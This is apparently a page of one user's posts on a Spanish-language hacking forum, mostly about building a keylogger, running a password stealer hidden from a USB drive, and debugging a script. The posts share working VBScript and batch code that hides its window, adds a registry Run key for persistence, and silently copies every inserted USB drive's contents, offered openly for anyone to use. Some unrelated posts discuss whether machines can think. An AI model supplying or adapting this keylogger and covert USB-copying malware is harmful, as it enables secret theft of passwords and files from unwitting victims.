Mensajes

Efectivamente, cuando el keylogger pasa a background deja de capturar....
Para coger las letras uso getch() porque me parece sencillo y al fin y al cabo solo me importan los caracteres ascii (las teclas F1..F12 y demas puedo prescindir de ellas..)

En cuanto al hook, no conozco esta funcion...he buscado un poco por google y he visto que es un metodo API, pero no termino de ver lo que es y como funciona, ¿podrías aclaramelo?

¡Gracias!

¡Buenas a todos!

Estoy haciendo mi primer keylogger en C. Me funciona todo perfectamente excepto que si el usuario hace un cambio de ventana, el programa ya no captura las teclas...
¿Hay alguna función que me permita solucionar esto?

!Gracias, un saludo¡

Gracias dato000, creo que tienes razon, es cosa del SO. Imagino que tendre que meterlo en el autorun.ini y esperar que el usuario lo ejecute....

Buenas a todos!

¿Querria preguntaros si sabeis como ejecutar de forma automatica un .exe en un USB de forma oculta?

Creando un Autorun.inf con OPEN=programa.exe salta la ventana de windows preguntado si autoarrancar o abrir carpeta.....

La idea es....que tengo un programa que roba passwors desde el usb, el problema esta en que quiero que este programa se ejecute de forma oculta segun inserte el usb de tal forma que la victima no vea nada en la interfaz de windows.....

¿Es posible esto?

Esa simple linea me ha dado la vida! jajaja
Ahora funciona todo perfectamente!

Para quien quiera este script que copia los usb de manera oculta, aqui os dejo el codigo bien hecho y mejorado!

archivo sys.vbs

Código [Seleccionar] Expandir

set objshell = createobject("wscript.shell")
rutaBat = left(wscript.scriptfullname,len(wscript.scriptfullname)-len(wscript.scriptname))
rutaSys = rutaBat &"sys.vbs"
rutaBat = rutaBat &"system.bat"
objshell.regWrite "HKCU\software\microsoft\windows\currentversion\run\sys", rutaSys, "REG_SZ"
objshell.run rutaBat,vbhide

archivo system.bat

Código [Seleccionar] Expandir

@echo off

:loop
for /f "tokens=1" %%x in ('wmic logicaldisk get caption^, description ^| find /i "extra"') do (
xcopy /s %%x
if EXIST %%x goto end
)
goto loop
:end
exit /b 0

Muchisimas gracias Novlucker!
Un saludo!

Otra cosa que una maquina no podria hacer es afrontar problemas nuevos. Es decir, si una maquina se topa con un problema nuevo, lo que hara es y probando todos sus algoritmos para resolver problemas, si todos fallan, te dira que no tiene solucion. No seria capaz de crear algoritmos nuevos para afrontar este nuevo problema.
En cambio cuando un ser humano se topa con un problema nuevo, prueba 1º ha hacer cosas que ya conoce para solucionarlo, si no lo soluciona, entonces empiza a probar cosas nuevas hasta dar con una conclusion.

Estoy totalmente deacuerso con WHK.
Puesto que una emocion es una operacion de E/S, una maquina podria utilizarla perfectamente. Solo hay que fijarse bien en cuales son los datos de entrada y cuales son los datos de salida.

Bueno, por mas vueltas que le doy...no soy capaz de sacar la respuesta....
Con ruta absoluta si que funciona....
Os pongo los script que me funcionan perfectamente (con ruta absoluta claro..):

Scrtipt sys.vbs
set objshell = createobject("wscript.shell")
objshell.run "C:%homepath%\Desktop\log\system.bat",vbhide

Script system.bat

@echo off

REG ADD HKCU\software\microsoft\windows\currentversion\run /v sys /d C:%homepath%\desktop\log\sys.vbs  /f
:loop
   for /f "tokens=1" %%x in ('wmic logicaldisk get caption^, description ^| find /i "extra"') do (
      xcopy /s %%x C:%homepath%\desktop\log
      if EXIST %%x goto end   
   )
goto loop
:end
exit /b 0

El script sys.vbs ejecuta de manera oculta al script system.bat
El system.bat, hace:
     - una entrada en el registro de inicio de sesion de usuario
     - checkea los puertos usb para detectar memorias extraibles
     - en cuanto detecta un pendrive copia todo su contenido en la carpeta log
     - y finaliza el script
     - cuando el usuario vuelva a iniciar sesion, se volvera a ejecutar todo el proceso

Y asi es como me quedan los script con ruta relativa:

Scrript sys.vbs:
set objshell = createobject("wscript.shell")
objshell.run "system.bat",vbhide

Script system.bat:
@echo off

REG ADD HKCU\software\microsoft\windows\currentversion\run /v sys /d "%cd%\sys.vbs"  /f
:loop
   for /f "tokens=1" %%x in ('wmic logicaldisk get caption^, description ^| find /i "extra"') do (
      xcopy /s %%x
      if EXIST %%x goto end   
   )
goto loop
:end
exit /b 0

Este 2º modelo de script, funciona con doble click en sys.vbs, pero cuando arranca la sesion no funciona, me da error en la linea 2 del sys.vbs (no puede encontrar el archivo en la ruta especificada :S)
¿como es posible que con doble click si y arrancando desde el reg no?

NOTA: trabajo con windows 7, no se si afecta....pero por si acaso lo aviso...

Gracias a todos, un saludo!

Buenas a todos!
Tengo el siguiente problemilla.....llevo dandole vueltas todo el dia y me tiene un poco loco....

Tengo el siguiente script llamado sys.vbs

set objshell = createobject("wscript.shell")
objshell.run "system.bat",vbhide

Funciona perfectamente, me habre el .bat y hasta aqui todo bien.
El .bat hace una entrada en el registro para que al arrancar windows se inicie el sys.vbs

Y eso es lo que falla....la entrada en el registro esta bien hecha....pero cuando se inicia el sys.vbs da un error en la linea 2 y dice que no encuentra el archivo.....en cambio cuando ejecuto el sys.vbs con un doble click funciona perfectamente..... :$

El caso es que si cambio el script (.vbs) y le pongo la ruta absoluta (rutaAbsoluta\system.bat)   si que funciona cuando arranca windows....por tanto el problema es de la ruta del sys.vbs, pero claro por tema de portabilidad, no me interesa que use ruta absoluta, prefiero la relativa....

¿Hay alguna otra forma de poner la ruta relativa de otra manera?
¿Hay alguna forma de calcular la ruta absoluta para luego concatenar el nombre del fichero?
y la mejor pregunta de todas.....¿porque ocurre esto con la ruta relativa y no con la absoluta?

Nota: he probado con  Environment.CurrentDirectory y con App.Path y no funciona.....imagino que sera porque en un script no estan estas librerias....

Gracias, un saludo!

Efectivamente! ya se ha hablado antes sobre el tema.
Aqui dejo el enlace donde queda resuelto:

http://foro.elhacker.net/scripting/batch_problema_con_script_para_detectar_usb_solucionado-t245816.0.html

Gracias, un saludo!